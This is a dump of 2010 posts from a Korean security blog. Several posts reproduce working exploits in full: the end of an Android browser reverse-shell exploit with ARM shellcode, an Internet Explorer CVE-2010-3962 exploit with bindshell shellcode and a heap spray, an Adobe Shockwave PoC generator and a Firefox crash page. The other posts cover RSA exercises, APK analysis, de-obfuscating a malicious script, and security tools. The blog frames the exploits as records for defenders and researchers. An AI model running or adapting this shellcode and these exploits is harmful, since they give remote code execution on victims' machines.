function exploit() { var nop = unescape(\u0026#34;\\u33bc\\u0057\u0026#34;); //LDREQH R3,[R7],-0x3C for nopping do { nop+=nop; } while (nop.length\u0026lt;=0x1000); var scode = nop+unescape(\u0026#34;\\u1001\\ue1a0\\u0002\\ue3a0\\u1001\\ue3a0\\u2005\\ue281\\u708c\\ue3a0\\u708d\\ue287\\u0080\\uef00\\u6000\\ue1a0\\u1084\\ue28f\\u2010\\ue3a0\\u708d\\ue3a0\\u708e\\ue287\\u0080\\uef00\\u0006\\ue1a0\\u1000\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u0006\\ue1a0\\u1001\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u0006\\ue1a0\\u1002\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u2001\\ue28f\\uff12\\ue12f\\u4040\\u2717\\udf80\\ua005\\ua508\\u4076\\u602e\\u1b6d\\ub420\\ub401\\u4669\\u4052\\u270b\\udf80\\u2f2f\\u732f\\u7379\\u6574\\u2f6d\\u6962\\u2f6e\\u6873\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u0002\u0026#34;); scode += port; scode += ip; scode += unescape(\u0026#34;\\u2000\\u2000\u0026#34;); target = new Array(); for(i = 0; i \u0026lt; 0x1000; i++) target[i] = scode; for (i = 0; i \u0026lt;= 0x1000; i++) { document.write(target[i]+\u0026#34;\u0026lt;i\u0026gt;\u0026#34;); if (i\u0026gt;0x999) { trigger(); } } } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body id=\u0026#34;BodyID\u0026#34;\u0026gt; Enjoy! \u0026lt;script\u0026gt; exploit(); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ","date":"2010-11-07T12:32:24Z","permalink":"/2010/11/07/android-20-21-reverse-shell-exploit-cve-2010-1807/","title":"Android 2.0-2.1 Reverse Shell Exploit - CVE-2010-1807"},{"content":"익스플로러 취약점이 또 나왔네요. 악성코드 유포에 이용될 수 있기에 기록해 둡니다. 출처 : http://www.exploit-db.com/exploits/15421/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 # Internet Explorer Memory Corruption 0day Vulnerability CVE-2010-3962 # Tested on Windows XP SP3 IE6 IE7 IE8 # Coded by Matteo Memelli ryujin __at__ offsec.com # http://www.offensive-security.com/0day/ie-0day.txt # Thx to dookie __at__ offsec.com # notes : This is a quick and dirty exploit! No DEP/ASLR bypass here feel free to improve it \u0026lt;!-- Tested on IE6/IE7/IE8 XPSP3 quick and dirty sploit for CVE-2010-3962 zeroday Note: The EIP value at crash time depends on the exact version of the mshtml library used by IE. This means that the exploit is not universal for the IE versions indicated in the exploit. IE6 on XP SP2: mshtml.dll Version 6.0.2900.5512 EIP: 0x0D7DC9C9 IE7 on XP SP3: mshtml.dll Version 7.00.6000.17080 EIP: 0x303CEEBB IE8 on XP SP3: mshtml.dll Version 8.00.6001.18939 EIP: 0x1D3CF5BD Matteo Memelli, ryujin __at__ offsec.com thx to dookie __at__ offsec.com //--\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;title\u0026gt;poc CVE-2010-3962 zeroday\u0026lt;/title\u0026gt; \u0026lt;script\u0026gt; function alloc(bytes, mystr) { // Bindshell on port 4444 var shellcode = unescape(\u0026#39;%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b\u0026#39;+ \u0026#39;%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b\u0026#39;+ \u0026#39;%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34\u0026#39;+ \u0026#39;%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301\u0026#39;+ \u0026#39;%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a\u0026#39;+ \u0026#39;%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4\u0026#39;+ \u0026#39;%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7%u53db%u0268\u0026#39;+ \u0026#39;%u1100%u895c%u6ae6%u5610%u6857%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff%u53d5%u5753%u7468\u0026#39;+ \u0026#39;%u3bec%uffe1%u57d5%uc789%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389%u5757%u3157%u6af6%u5912\u0026#39;+ \u0026#39;%ue256%u66fd%u44c7%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650%u5656%u5646%u564e%u5356%u6856\u0026#39;+ \u0026#39;%ucc79%u863f%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd\u0026#39;+ \u0026#39;%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u41d5\u0026#39;); while (mystr.length\u0026lt; bytes) mystr += mystr; return mystr.substr(0, (bytes-6)/2) + shellcode; } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; alert(\u0026#39;ph33r: click me\u0026#39;); var evil = new Array(); var FAKEOBJ = unescape(\u0026#34;%u0d0d%u0d0d\u0026#34;); //FAKEOBJ = alloc(233120, FAKEOBJ); // IE6 //FAKEOBJ = alloc(733120, FAKEOBJ); // IE7 FAKEOBJ = alloc(433120, FAKEOBJ); // IE8 for (var k = 0; k \u0026lt; 1000; k++) { evil[k] = FAKEOBJ.substr(0, FAKEOBJ.length); } document.write(\u0026#34;\u0026lt;table style=position:absolute;clip:rect(0)\u0026gt;\u0026#34;); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 이 글 쓰고 확인해보니 이미 악성코드 유포에 이용되고 있었군요.. :-(\n","date":"2010-11-05T15:38:03Z","permalink":"/2010/11/05/internet-explorer-memory-corruption-0day-vulnerability-cve-2010-3962/","title":"Internet Explorer Memory Corruption 0day Vulnerability - CVE-2010-3962, MS10-090"},{"content":"2010년 11월 3일 오후 11시부터 6일 오후 11시까지 있었던 예선경기가 끝났습니다. 저는 GimmeDiamond (최근 문명의 간디가 유행이죠? :D) 이란 팀으로 나가 7위에 랭크되었습니다.\n29일이 본선인데... 설레이네요.\n","date":"2010-11-05T15:16:12Z","permalink":"/2010/11/05/2010%EB%85%84-isec-%EB%B3%B8%EC%84%A0-%EC%A7%84%EC%B6%9C/","title":"2010년 ISEC 본선 진출!"},{"content":"악성코드 유포에 이용되고 있어 기록해 둡니다...지겨운 ARP Spoooooooooooooofing :-( 출처 : http://www.exploit-db.com/exploits/15076/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 \u0026#39;\u0026#39;\u0026#39; __ __ ____ _ _ ____ | \\/ |/ __ \\ /\\ | | | | _ \\ | \\ / | | | | / \\ | | | | |_) | | |\\/| | | | |/ /\\ \\| | | | _ \u0026lt; | | | | |__| / ____ \\ |__| | |_) | |_| |_|\\____/_/ \\_\\____/|____/ \u0026#39;\u0026#39;\u0026#39; \u0026#39;\u0026#39;\u0026#39; Title : Adobe Shockwave Director tSAC Chunk memory corruption Version : dirapi.dll 11.5.7 Analysis : http://www.abysssec.com Vendor : http://www.adobe.com Impact : Med/High Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec http://www.exploit-db.com/moaub-22-adobe-shockwave-director-tsac-chunk-memory-corruption/ http://www.exploit-db.com/sploits/moaub-22-exploit.zip \u0026#39;\u0026#39;\u0026#39; import sys temp = \u0026#34;\u0026#34;\u0026#34;\u0026lt;!-- saved from url=(0013)about:internet --\u0026gt; \u0026lt;object classid=\u0026#34;clsid:233C1507-6A77-46A4-9443-F871F945D258\u0026#34; codebase=\u0026#34;http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593\u0026#34; ID=wineglass\u0026gt; \u0026lt;param name=src value=\u0026#34;poc.dir\u0026#34;\u0026gt; \u0026lt;param name=PlayerVersion value=11\u0026gt; \u0026lt;/object\u0026gt; \u0026#34;\u0026#34;\u0026#34; htmlTest = open(\u0026#39;poc.html\u0026#39;, \u0026#39;wb\u0026#39;) htmlTest.write(temp) htmlTest.close() sampleFile = open(\u0026#39;sample.dir\u0026#39;,\u0026#39;rb\u0026#39;) pocFile = open(\u0026#34;poc.DIR\u0026#34;,\u0026#39;wb\u0026#39;) pocFile.write(sampleFile.read(-1)) sampleFile.close() pocFile.seek(13168) pocFile.write(\u0026#34;\\xff\\xff\\xff\\xff\\x11\\x11\u0026#34;) pocFile.close() ","date":"2010-10-28T10:04:12Z","permalink":"/2010/10/28/adobe-shockwave-director-tsac-chunk-memory-corruption/","title":"Adobe Shockwave Director tSAC Chunk Memory Corruption"},{"content":"최근 노벨상 사이트에 삽입된 악성코드와 관련된 코드 입니다. 출처 : http://www.exploit-db.com/exploits/15341/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 \u0026lt;html\u0026gt;\u0026lt;body\u0026gt; \u0026lt;script\u0026gt; function getatts(str){ var cobj=document.createElement(str); cobj.id=\u0026#34;testcase\u0026#34;; document.body.appendChild(cobj); var obj=document.getElementById(\u0026#34;testcase\u0026#34;); var atts = new Array(); for(p in obj){ if(typeof(obj[p])==\u0026#34;string\u0026#34;){ atts.push(p); } } document.body.removeChild(cobj); return atts; } function crashme() { var tags = new Array(\u0026#34;audio\u0026#34;, \u0026#34;a\u0026#34;, \u0026#34;base\u0026#34;); for (inx = 0; inx \u0026lt; 0x8964; inx++) { for (i = 0; i \u0026lt; tags.length; i++) { var atts = getatts(tags[i]); for (j = 0; j \u0026lt; atts.length; j++) { var html = \u0026#34;\u0026lt;\u0026#34; + tags[i] + \u0026#34; \u0026#34; + atts[j] + \u0026#34;=a\u0026gt;\u0026lt;/\u0026#34; + tags[i] + \u0026#34;\u0026gt;\u0026#34; + tags[i]; document.write(html); } } } } \u0026lt;/script\u0026gt; \u0026lt;button onclick=\u0026#34;crashme();\u0026#34;\u0026gt;Crash Me!\u0026lt;/button\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; ","date":"2010-10-28T06:41:40Z","permalink":"/2010/10/28/firefox-interleaving-documentwrite-and-appendchild-denial-of-service-cve-2010-3765/","title":"Firefox Interleaving document.write and appendChild Denial of Service - CVE-2010-3765"},{"content":"[알고리즘] 1). 두 개의 큰 소수 p와 q를 선정한 다음에 법n 과 φn 을 계산합니다. 법n = pq φn = (p-1) (q-1)\n2). 공개키 e는 φn과 서로 소(素)의 관계가 되게 임의로 선정합니다.\n3). e*d Mod φn = 1 의 관계에 있는 개인키 d를 유클리드 알고리즘을 통해 구합니다.\n4). {e, n}을 공개키로 공개하고, {d} 는 개인키로 자신이 안전하게 보관합니다. m = 평문, e,n = 공개키, d = 개인키, c = 암호문\nRSA 암호화공식 : Ｅke(m) = m^e Mod n = c RSA 복호화공식 : Ｄke(c) = ((m^e)^d) Mod n = c^d Mod n = m\n[예제 첫번째] n = pq = 711 = 77 φn = (p-1) (q-1) = 610 = 60 공개키e 는 φn과 서로소의 관계에 있는 임의의 정수 7로 선정합니다. e = 7 따라서, 개인키는 유클리드 알고리즘을 이용하면 개인키 d = 43 이 됩니다. 평문 m 을 8로 하고 RSA 암호화 공식을 통해 암호문을 구해보면\nc = 8^7 Mod 77 = 2097152 Mod 77 = 57\n이제 평문m(=8)이 암호문c(=57)로 암호화 되었습니다. 그렇다면 이제 개인키d(=43)을 사용하여 다시 암호문 c(=57)를 복호화해보면\nm = 57^43 Mod 77 = 3181403788572786716059998378326698266679069780899509454959934125355133265193 Mod 77 = 8\nm = 8로 다시 복호화 됩니다.\n[예제 두번째] 마지막으로 2009년도 해킹방어대회 예선 6번 문제를 풀어 보겠습니다. 문제는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 6번 문제 세계적인 암호학 박사가 꿈인 팔준표씨는 친구인 김현증씨에게 메일을 보냈다. 그런데 중간에 자칭 해커인 김밤씨가 메일을 가로챘다. 그러나, 메일은 암호화 되어 있었다. 여러분은 이 메일을 해독할 수 있는가? ---- BEGIN HD PUBLIC KEY ---- public=149 mod=247 ---- END HD PUBLIC KEY ---- 파일 : 2.bin\n그리고 위에 첨부한 암호화 된 문자열이 적힌 파일이 하나 주어집니다. 우선 주어진 값에서 mod 값이 우리가 알고 있는 N 값이며 public 값은 E 값으로 보입니다. 이제 주어진 값으로 Private Key를 구해 보도록 하겠습니다.\nn = p q 247 = 13 19\nφn = (p-1) (q-1) φn = (13-1) (19-1) = 12*18 = 216\ned Mod φn = 1 (149 d) mod 216 = 1\nd = 29\n이제 Private Key(d) 값을 구했으므로 평문으로 변환을 해보도록 하겠습니다. RSA 알고리즘을 보면 암호문을 평문으로 바꾸는 공식은 다음과 같습니다.\n평문 = (암호문 ^ Private Key) Mod N\n이제 Python으로 복호화 하는 코드를 작성해 보도록 하겠습니다. 우선 주어진 암호화 파일을 Hex 값으로 변환을 합니다. 변환한 코드는 아래와 같습니다.\n1 be ae 45 ba b0 df 9d 66 8a 47 b0 34 d4 48 f6 8a 41 df 48 29 9e a5 48 a2 6c 89 df 9e 7f 30 f6 6c f4 df bc 35 3e 91 df 39 af 5a 28 ac bb df 45 d5 b4 bb df 47 47 9b ba df be 19 ae 66 df f4 48 1b 89 8a 18 1b b9 6c 1d df 25 f4 f4 e6 48 a2 6c 1d be a2 32 34 d4 48 29 9e a5 df 7e d0 25 c0 ac f6 9b e5 6f cf df 15 71 3e ef dd 72 c8 e8 ed 72 4d ce 14 91 72 a7 4f 43 32 de 6e db 15 df 6c 1d be a2 32 34 d4 8a 18 1b 5d 47 8e df 9d 66 8a 47 b4 bb df 6c cd 1b cf f4 d1 df 7e 56 30 94 6c d5 df be 19 ae 66 30 94 6c 47 1b 89 df 30 6b 44 84 df 48 6b df b4 c9 be a2 32 34 d4 34 d4 be e7 1a d5 b4 cd df be 19 ae 66 ae 7f f4 19 6f cf df 48 f6 df be f2 be 7e 45 d5 9e 7f df 6f 6b 6c 25 df be 19 ae 66 30 94 6c d5 df f4 94 be e7 c0 48 db df 8a 18 1b 45 df 6f 6b 6c 25 df 1b 30 c0 3b 1b 89 df b4 b9 df 9e f6 df 6c 1c be e7 32 34 d4 be 19 ae 66 30 94 d2 df 70 ed a3 5a b8 b8 ed af 8f 28 5a 39 79 39 8b 70 2b a3 2b 5a ed 39 b8 28 b8 ed a7 4b a7 b8 28 8b 8b 39 2b a3 28 03 a7 28 2b 2b a3 8f 39 b8 8f b8 39 ed 39 b8 b8 2e a7 28 8f ed a3 a3 a7 b8 28 03 70 28 2b 5a b8 79 이제 위 값을 hex.txt로 저장하고 복호화를 진행합니다. 코드는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #!/usr/bin/env python # -*- coding: utf-8 -*- \u0026#39;\u0026#39;\u0026#39; ---- BEGIN HD PUBLIC KEY ---- public=149 mod=247 ---- END HD PUBLIC KEY ---- \u0026#39;\u0026#39;\u0026#39; # d = 29 f = open(\u0026#39;hex.txt\u0026#39;, \u0026#39;r\u0026#39;) data = f.read() f.close() data = data.split(\u0026#39; \u0026#39;) print data final = \u0026#39;\u0026#39; for x in data: # 평문 = (암호문 ^ Private Key) mod N final += chr(pow(int(x, 16), 29) % 247) f = open(\u0026#39;output.txt\u0026#39;, \u0026#39;w\u0026#39;) f.write(final) f.close() 정상적으로 복호화가 진행된 것을 확인할 수 있습니다.\n참고 : http://blog.naver.com/shu777/120005550944\n","date":"2010-10-18T14:03:32Z","permalink":"/2010/10/18/2009%EB%85%84-%ED%95%B4%ED%82%B9%EB%B0%A9%EC%96%B4%EB%8C%80%ED%9A%8C-%EC%98%88%EC%84%A0-6%EB%B2%88-rsa-%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98/","title":"2009년 해킹방어대회 예선 6번, RSA 알고리즘"},{"content":"Python RSA 모듈을 이용한 예제 입니다. rsa 1.3.3 : http://pypi.python.org/pypi/rsa\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/env python # -*- coding: utf-8 -*- \u0026#39;\u0026#39;\u0026#39; decrypt(cypher, key) Decrypts a cypher with the private key \u0026#39;key\u0026#39; encrypt(message, key) Encrypts a string \u0026#39;message\u0026#39; with the public key \u0026#39;key\u0026#39; gen_pubpriv_keys(nbits) Generates public and private keys, and returns them as (pub, priv). The public key consists of a dict {e: ..., , n: ....). The private key consists of a dict {d: ...., p: ...., q: ....). sign(message, key) Signs a string \u0026#39;message\u0026#39; with the private key \u0026#39;key\u0026#39; verify(cypher, key) Verifies a cypher with the public key \u0026#39;key\u0026#39; \u0026#39;\u0026#39;\u0026#39; import rsa ekey = {\u0026#39;e\u0026#39;:777, \u0026#39;n\u0026#39;:901} print rsa.encrypt(\u0026#39;Hello World!\u0026#39;, ekey) dkey = {\u0026#39;d\u0026#39;:121, \u0026#39;p\u0026#39;:17, \u0026#39;q\u0026#39;:53} msg = \u0026#39;eJzTyCkw5PIxMTTy4Ur0MbcwBFFGxkZIlDGEsjA0AVFmJhZIgkYGlkgqzczACsGUHgClDBSo\u0026#39; print rsa.decrypt(msg, dkey) ","date":"2010-10-18T13:55:07Z","permalink":"/2010/10/18/rsa-%EB%AA%A8%EB%93%88/","title":"Python RSA 모듈"},{"content":"2010년 HUST 대회에서 안드로이드에서 사용되는 APK 파일 관련 문제가 나와서 풀이를 작성합니다.\n이 풀이를 통해 APK 파일을 분석하는 방법에 대해 간단하게 나마 적고자 합니다.\n[분석 첫번째 방법 - apktool 이용]\nandroid-apktool 툴이란게 있습니다. 해당 툴을 다운로드 합니다.\n다운로드 : http://code.google.com/p/android-apktool/\n다운로드 받은 파일을 압축을 해제하면 apktool.bat 파일이 존재합니다. 아래와 같은 명령어를 통해 APK 파일을 풉니다.\napktool.bat d 파일명.apk\n이번 대회때 나왔던 파일을 풀면 Atom\\smali\\net\\hust\\atom\\quizcross\\Passwd.smali 파일이 존재합니다.\n해당 파일을 열어 보면 28 라인에 \u0026quot;const-string v0, \u0026quot;just for fun.\u0026quot; 이란 문자열이 있습니다.\n답은 \u0026quot;just for fun.\u0026quot; 입니다. 하지만 이 방법으론 답을 찾기가 쉽지가 않습니다.\n[분석 두번째 방법 - dex2jar 이용]\n분석할 APK 파일을 7-zip을 이용하여 압축을 해제 합니다. 압축을 풀면 class.dex 파일을 확인하실 수 있습니다.\ndex2jar 툴이란게 있습니다. 해당 툴을 다운로드 합니다.\n다운로드 : http://code.google.com/p/dex2jar/\n다운로드 받은 툴을 보면 dex2jar.bat 파일이 있습니다. 아래 명령어로 위에서 풀었던 class.dex 파일을 jar로 변환합니다.\ndex2jar.bat class.dex\n위와 같이 실행하게 되면 classes.dex.dex2jar.jar 파일이 생성됩니다. 생성된 jar 파일을 다시 7-zip을 이용하여 압축을 해제 합니다.\n압축을 해제하면 \\net\\hust\\atom\\quizcross\\Passwd.class 파일이 존재합니다.\n자바 디컴파일러를 이용하여 해당 파일을 디컴파일 하여 확인합니다.\nJD-GUI : http://java.decompiler.free.fr/\n아래 스크린샷과 같은 문자를 확인하실 수 있습니다.\n이 방법이 첫번째 방법보다 좀 더 숙월하게 답을 찾을 수 있는 방법으로 보입니다.\n실제 악성코드 앱 분석시에도 위와 유사하게 분석할 수 있을 것으로 보입니다.. :D\n","date":"2010-10-18T10:11:09Z","permalink":"/2010/10/18/2010%EB%85%84-hust-%EB%8C%80%ED%9A%8C-problem_l-%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%EA%B4%80%EB%A0%A8-%ED%92%80%EC%9D%B4/","title":"2010년 HUST 대회 PROBLEM_L (안드로이드 관련) 풀이"},{"content":"올해도 어김없이 HUST 대회에 0d0ax3 라는 팀명으로 참가했습니다. (팀명의 뜻은 아주 슬픈 전설이 있다는..... ) 작년엔 5등했기에 좀 더 상위 랭크를 노려 보았는데 한단계만 상승하여 4위에 그쳤습니다.\n아쉽지만 다음번엔 조금 더 높은 랭크를 노려봐야 겠네요.\n","date":"2010-10-16T03:27:19Z","permalink":"/2010/10/16/hust-2010-%EB%8C%80%ED%9A%8C/","title":"2010년 HUST 대회"},{"content":"최근 난독화 중 아래와 같이 난독화 된 코드를 좀 더 편하게 풀 수 있는 방법을 확인하다 아래와 같이 하면 되는것을 확인하여 기록합니다. (별거 아닌 팁 -_-)\n1 window[\u0026#34;eval\u0026#34;](function(G_OGr1,HG2,iQLyacc3,EL4,bsKZR_ek5,PgTEsQ6){bsKZR_ek5=function(iQLyacc3){return iQLyacc3[\u0026#34;toString\u0026#34;](36)};if(!\u0026#39;\u0026#39;[\u0026#34;replace\u0026#34;](/^/,window[\u0026#34;String\u0026#34;])){while(iQLyacc3--){PgTEsQ6[iQLyacc3[\u0026#34;toString\u0026#34;](HG2)]=EL4[iQLyacc3]||iQLyacc3[\u0026#34;toString\u0026#34;](HG2)}EL4=[function(bsKZR_ek5){return PgTEsQ6[bsKZR_ek5]}];bsKZR_ek5=function(){return\u0026#39;\\\\w+\u0026#39;};iQLyacc3=1};while(iQLyacc3--){if(EL4[iQLyacc3]){G_OGr1=G_OGr1[\u0026#34;replace\u0026#34;](new window[\u0026#34;RegExp\u0026#34;](\u0026#39;\\\\b\u0026#39;+bsKZR_ek5(iQLyacc3)+\u0026#39;\\\\b\u0026#39;,\u0026#39;g\u0026#39;),EL4[iQLyacc3])}}return G_OGr1}(\u0026#39;9 a(){8();7 0=4.5(\\\u0026#39;6\\\u0026#39;);0.b(\\\u0026#39;#c#i\\\u0026#39;);4.f(0);d{0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1)}h(e){}1.g+=\\\u0026#39;\\\u0026#39;}\u0026#39;,19,19,\u0026#39;a7|window|setAttribute|s|document|createElement|body|var|acNK2e|function|aNop1|addBehavior|default|try||appendChild|status|catch|userData\u0026#39;[\u0026#34;split\u0026#34;](\u0026#39;|\u0026#39;),0,{})) 위와 같이 난독화 되어 있는 코드는 우선 아래와 같은 순서로 Replace 해줍니다.\n/window[\u0026quot;//g /\u0026quot;]//g /[\u0026quot;/./g 이렇게 바꾸고 나면 아래와 같은 코드로 변하게 됩니다.\n1 eval(function(G_OGr1,HG2,iQLyacc3,EL4,bsKZR_ek5,PgTEsQ6){bsKZR_ek5=function(iQLyacc3){return iQLyacc3.toString(36)};if(!\u0026#39;\u0026#39;.replace(/^/,String)){while(iQLyacc3--){PgTEsQ6[iQLyacc3.toString(HG2)]=EL4[iQLyacc3]||iQLyacc3.toString(HG2)}EL4=[function(bsKZR_ek5){return PgTEsQ6[bsKZR_ek5]}];bsKZR_ek5=function(){return\u0026#39;\\\\w+\u0026#39;};iQLyacc3=1};while(iQLyacc3--){if(EL4[iQLyacc3]){G_OGr1=G_OGr1.replace(new RegExp(\u0026#39;\\\\b\u0026#39;+bsKZR_ek5(iQLyacc3)+\u0026#39;\\\\b\u0026#39;,\u0026#39;g\u0026#39;),EL4[iQLyacc3])}}return G_OGr1}(\u0026#39;9 a(){8();7 0=4.5(\\\u0026#39;6\\\u0026#39;);0.b(\\\u0026#39;#c#i\\\u0026#39;);4.f(0);d{0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1);0.2(\\\u0026#39;3\\\u0026#39;,1)}h(e){}1.g+=\\\u0026#39;\\\u0026#39;}\u0026#39;,19,19,\u0026#39;a7|window|setAttribute|s|document|createElement|body|var|acNK2e|function|aNop1|addBehavior|default|try||appendChild|status|catch|userData\u0026#39;.split(\u0026#39;|\u0026#39;),0,{})) 이 코드는 이전에 설명한 SpiderMonkey나 Malzilla를 이용하여 풀어보면 아래와 같은 코드가 나옴을 알 수 있습니다.\n1 function aNop1(){acNK2e();var a7=document.createElement(\u0026#39;body\u0026#39;);a7.addBehavior(\u0026#39;#default#userData\u0026#39;);document.appendChild(a7);try{a7.setAttribute(\u0026#39;s\u0026#39;,window);a7.setAttribute(\u0026#39;s\u0026#39;,window);a7.setAttribute(\u0026#39;s\u0026#39;,window);a7.setAttribute(\u0026#39;s\u0026#39;,window);a7.setAttribute(\u0026#39;s\u0026#39;,window);a7.setAttribute(\u0026#39;s\u0026#39;,window);a7.setAttribute(\u0026#39;s\u0026#39;,window);a7.setAttribute(\u0026#39;s\u0026#39;,window);a7.setAttribute(\u0026#39;s\u0026#39;,window);a7.setAttribute(\u0026#39;s\u0026#39;,window)}catch(e){}window.status+=\u0026#39;\u0026#39;} MS10-018 취약점과 관련된 코드군요... 별거 아닌 팁입니다 :-)\n","date":"2010-10-13T00:29:42Z","permalink":"/2010/10/13/%EC%95%85%EC%84%B1-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EB%94%94%EC%BD%94%EB%94%A9-%ED%8C%81/","title":"악성 스크립트 디코딩 (window[\"eval\"] blahblah....)"},{"content":"악성코드 분석이나 포렌직 시 많이 이용되는 Sysinternals Tool을 최신버전으로 자동으로 업데이트 해주는 배치파일 입니다. 출처 : http://sysadmingeek.com/articles/batch-script-to-auto-update-sysinternals-tools/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 @ECHO OFF TITLE Sysinternals Updater ECHO Sysintenals Updater ECHO Written by: Jason Faulkner ECHO SysadminGeek.com ECHO. ECHO. SETLOCAL ENABLEDELAYEDEXPANSION SET SysInternalsTools=\u0026#34;%Temp%\\SysInternalsTools.tmp.txt\u0026#34; SET CurrentTasks=\u0026#34;%Temp%\\CurrentTasks.tmp.txt\u0026#34; SET StartWhenFinished=\u0026#34;%Temp%\\StartWhenFinished.tmp.txt\u0026#34; ECHO Detected directory: %~dp0 %~d0 CD %~p0 ECHO. ECHO. ECHO Downloading current tool list... SET LiveShare=\\live.sysinternals.com\\tools START /MIN %LiveShare% DIR %LiveShare% /B \u0026gt; %SysInternalsTools% TASKLIST \u0026gt; %CurrentTasks% ECHO ;Terminated tools \u0026gt; %StartWhenFinished% ECHO. ECHO Updating installed SysInternals tools FOR /F %%A IN (\u0026#39;DIR /B\u0026#39;) DO ( FOR /F \u0026#34;usebackq\u0026#34; %%B IN (%SysInternalsTools%) DO ( IF /I [%%A]==[%%B] ( ECHO Updating %%A FOR /F \u0026#34;usebackq\u0026#34; %%C IN (%CurrentTasks%) DO ( IF /I [%%A]==[%%C] ( ECHO %%C is currently running, killing process - queue restart ECHO %%C \u0026gt;\u0026gt; %StartWhenFinished% TASKKILL /IM %%A /T /F ) ) XCOPY %LiveShare%\\%%B %%A /Y ECHO. ) ) ) ECHO. ECHO Resuming killed tasks FOR /F \u0026#34;usebackq skip=1\u0026#34; %%A IN (%StartWhenFinished%) DO ( ECHO Starting %%A START \u0026#34;Sysinternals Tool\u0026#34; \u0026#34;%%A\u0026#34; ) IF EXIST %SysInternalsTools% DEL %SysInternalsTools% IF EXIST %CurrentTasks% DEL %CurrentTasks% IF EXIST %StartWhenFinished% DEL %StartWhenFinished% ENDLOCAL ECHO. PAUSE ","date":"2010-10-11T01:04:45Z","permalink":"/2010/10/11/sysinternals-tools-%EC%9E%90%EB%8F%99-%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8/","title":"Sysinternals Tools 자동 업데이트 배치파일"},{"content":"자주 쓰일만한 루트킷 확인툴을 정리하여 포스팅 합니다.\nIce Sword\nhttp://asec001.v3webhard.com/IceSword.zip\nGMER\nhttp://www2.gmer.net/gmer.zip\nXuetr\nhttp://xuetr.com/download/XueTr.zip\nKernel Detective\nhttp://www.at4re.com/files/Tools/Releases/GamingMasteR/Kernel_Detective_v1.3.1.zip\n","date":"2010-10-09T03:57:17Z","permalink":"/2010/10/09/%EB%A3%A8%ED%8A%B8%ED%82%B7-%ED%99%95%EC%9D%B8-%ED%88%B4/","title":"루트킷 확인 툴"},{"content":"최근에 그룹분들과 연구하여 제로보드 XE에 대한 관리자 권한이 획득 가능한 